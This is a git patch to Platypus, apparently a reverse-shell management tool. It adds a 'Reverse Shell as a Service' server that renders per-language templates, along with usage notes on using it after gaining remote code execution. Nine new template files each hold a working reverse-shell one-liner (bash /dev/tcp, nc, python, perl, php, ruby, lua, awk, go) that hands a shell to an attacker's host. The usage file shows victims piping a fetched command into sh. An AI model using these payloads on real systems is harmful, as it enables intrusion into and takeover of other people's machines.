From b9f47da4c547377d2ef6a0d15a998c3b1d3c1857 Mon Sep 17 00:00:00 2001 From: Wang Yihang Date: Sat, 23 Jan 2021 18:57:26 +0800 Subject: [PATCH] [+] RaaS support specifying language via tpl #30, thanks for @RicterZ --- USAGE.md | 14 +++++----- lib/context/server.go | 53 ++++++++++++++++++++++++++++--------- lib/template/rsh/awk.tpl | 1 + lib/template/rsh/bash.tpl | 1 + lib/template/rsh/go.tpl | 1 + lib/template/rsh/lua.tpl | 1 + lib/template/rsh/nc.tpl | 1 + lib/template/rsh/perl.tpl | 1 + lib/template/rsh/php.tpl | 1 + lib/template/rsh/python.tpl | 1 + lib/template/rsh/ruby.tpl | 1 + 11 files changed, 58 insertions(+), 18 deletions(-) create mode 100644 lib/template/rsh/awk.tpl create mode 100644 lib/template/rsh/bash.tpl create mode 100644 lib/template/rsh/go.tpl create mode 100644 lib/template/rsh/lua.tpl create mode 100644 lib/template/rsh/nc.tpl create mode 100644 lib/template/rsh/perl.tpl create mode 100644 lib/template/rsh/php.tpl create mode 100644 lib/template/rsh/python.tpl create mode 100644 lib/template/rsh/ruby.tpl diff --git a/USAGE.md b/USAGE.md index bf41ee87..423b518c 100644 --- a/USAGE.md +++ b/USAGE.md @@ -1,9 +1,11 @@ -#### Reverse shell as a Service -```bash -// Platypus is able to multiplexing the reverse shell listening port -// The port 8080 can receive reverse shell client connection -// Also these is a Reverse shell as a service running on this port +## Reverse shell as a Service +Platypus is able to multiplexing the reverse shell listening port. The port 8080 can receive reverse shell client connection, also these is a Reverse Shell as a Service (RaaS) running on this port. + +Assume that you have got an arbitrary rce on the target application, but the target application will strip the non-alph letter like `&`, `>`. then this feature will be useful. +To archive this, all you need is to construct a url which indicate the target + +```bash // victim will be redirected to attacker-host attacker-port // sh -c "$(curl http://host:port/attacker-host/attacker-port)" # curl http://192.168.1.2:8080/attacker.com/1337 @@ -17,7 +19,7 @@ curl http://192.168.1.2:8080/192.168.1.2/8080|sh # sh -c "$(curl http://host:port/)" ``` -#### RESTful API +## RESTful API * `GET /client` List all online clients ``` # curl 'http://127.0.0.1:9090/client' diff --git a/lib/context/server.go b/lib/context/server.go index 4df7964a..6a0c44a4 100644 --- a/lib/context/server.go +++ b/lib/context/server.go @@ -3,6 +3,7 @@ package context import ( "bytes" "fmt" + "io/ioutil" "net" "os" "strconv" @@ -86,6 +87,7 @@ func (s *TCPServer) Run() { listener.Close() return default: + var err error conn, err := listener.Accept() if err != nil { continue @@ -126,24 +128,51 @@ func (s *TCPServer) Run() { httpHost = headerValue } } - var command string = fmt.Sprintf( - "curl http://%s/%s/%d|sh\n", - httpHost, - GetHostname(httpHost), - GetPort(httpHost, s.Port), - ) + + // eg: + // "/python" -> {"", "python"} + // "/8.8.8.8/1337" -> {"", "8.8.8.8", "1337"} + // "/8.8.8.8/1337/python" -> {"", "8.8.8.8", "1337", "python"} target := strings.Split(requestURI, "/") - if strings.HasPrefix(requestURI, "/") && len(target) == 3 { - host := target[1] - port, err := strconv.Atoi(target[2]) - if err == nil { - command = fmt.Sprintf("bash -c 'bash -i >/dev/tcp/%s/%d 0>&1'\n", host, port) - } else { + + // step 1: parse host and port, default set to the platypus listening port currently + host := GetHostname(httpHost) + var port uint16 + port = GetPort(httpHost, s.Port) + + if strings.HasPrefix(requestURI, "/") && len(target) > 2 { + host = target[1] + // TODO: ensure the format of port is int16 + t, err := strconv.Atoi(target[2]) + port = uint16(t) + if err != nil { log.Debug("Invalid port number: %s", target[2]) } } else { log.Debug("Invalid HTTP Request-Line: %s", buffer[:n]) } + + // step 2: parse language + language := "bash" + if len(target) > 0 { + // language is the last element of target + language = strings.Replace(target[len(target)-1], ".", "", -1) + } + + // step 3: read template + // template rendering in golang tastes like shit, + // here we will trying to use string replace temporarily. + // read reverse shell template file from lib/template/rsh/* + templateFilename := fmt.Sprintf("lib/template/rsh/%s.tpl", language) + templateContent, _ := ioutil.ReadFile(templateFilename) + + // step 4: render target host and port into template + renderedContent := string(templateContent) + renderedContent = strings.Replace(renderedContent, "__HOST__", host, -1) + renderedContent = strings.Replace(renderedContent, "__PORT__", strconv.Itoa(int(port)), -1) + command := fmt.Sprintf("%s\n", renderedContent) + + // step 5: generate HTTP response client.Write([]byte("HTTP/1.0 200 OK\r\n")) client.Write([]byte(fmt.Sprintf("Content-Length: %d\r\n", len(command)))) client.Write([]byte("\r\n")) diff --git a/lib/template/rsh/awk.tpl b/lib/template/rsh/awk.tpl new file mode 100644 index 00000000..d811cffd --- /dev/null +++ b/lib/template/rsh/awk.tpl @@ -0,0 +1 @@ +awk 'BEGIN {s = "/inet/tcp/0/__HOST__/__PORT__"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null \ No newline at end of file diff --git a/lib/template/rsh/bash.tpl b/lib/template/rsh/bash.tpl new file mode 100644 index 00000000..4a4199a2 --- /dev/null +++ b/lib/template/rsh/bash.tpl @@ -0,0 +1 @@ +bash -c 'bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1' \ No newline at end of file diff --git a/lib/template/rsh/go.tpl b/lib/template/rsh/go.tpl new file mode 100644 index 00000000..390d625a --- /dev/null +++ b/lib/template/rsh/go.tpl @@ -0,0 +1 @@ +echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","__HOST__:__PORT__");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go \ No newline at end of file diff --git a/lib/template/rsh/lua.tpl b/lib/template/rsh/lua.tpl new file mode 100644 index 00000000..5b0e7bfb --- /dev/null +++ b/lib/template/rsh/lua.tpl @@ -0,0 +1 @@ +lua -e "require('socket');require('os');t=socket.tcp();t:connect('__HOST__','__PORT__');os.execute('/bin/sh -i <&3 >&3 2>&3');" \ No newline at end of file diff --git a/lib/template/rsh/nc.tpl b/lib/template/rsh/nc.tpl new file mode 100644 index 00000000..7afc96a4 --- /dev/null +++ b/lib/template/rsh/nc.tpl @@ -0,0 +1 @@ +nc -c /bin/bash __HOST__ __PORT__ \ No newline at end of file diff --git a/lib/template/rsh/perl.tpl b/lib/template/rsh/perl.tpl new file mode 100644 index 00000000..d1f628b0 --- /dev/null +++ b/lib/template/rsh/perl.tpl @@ -0,0 +1 @@ +perl -e 'use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' \ No newline at end of file diff --git a/lib/template/rsh/php.tpl b/lib/template/rsh/php.tpl new file mode 100644 index 00000000..1d6554b2 --- /dev/null +++ b/lib/template/rsh/php.tpl @@ -0,0 +1 @@ +php -r '$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/sh -i <&3 >&3 2>&3");' \ No newline at end of file diff --git a/lib/template/rsh/python.tpl b/lib/template/rsh/python.tpl new file mode 100644 index 00000000..7230c5c7 --- /dev/null +++ b/lib/template/rsh/python.tpl @@ -0,0 +1 @@ +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' \ No newline at end of file diff --git a/lib/template/rsh/ruby.tpl b/lib/template/rsh/ruby.tpl new file mode 100644 index 00000000..3e284721 --- /dev/null +++ b/lib/template/rsh/ruby.tpl @@ -0,0 +1 @@ +ruby -rsocket -e'f=TCPSocket.open("__HOST__",__PORT__).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' \ No newline at end of file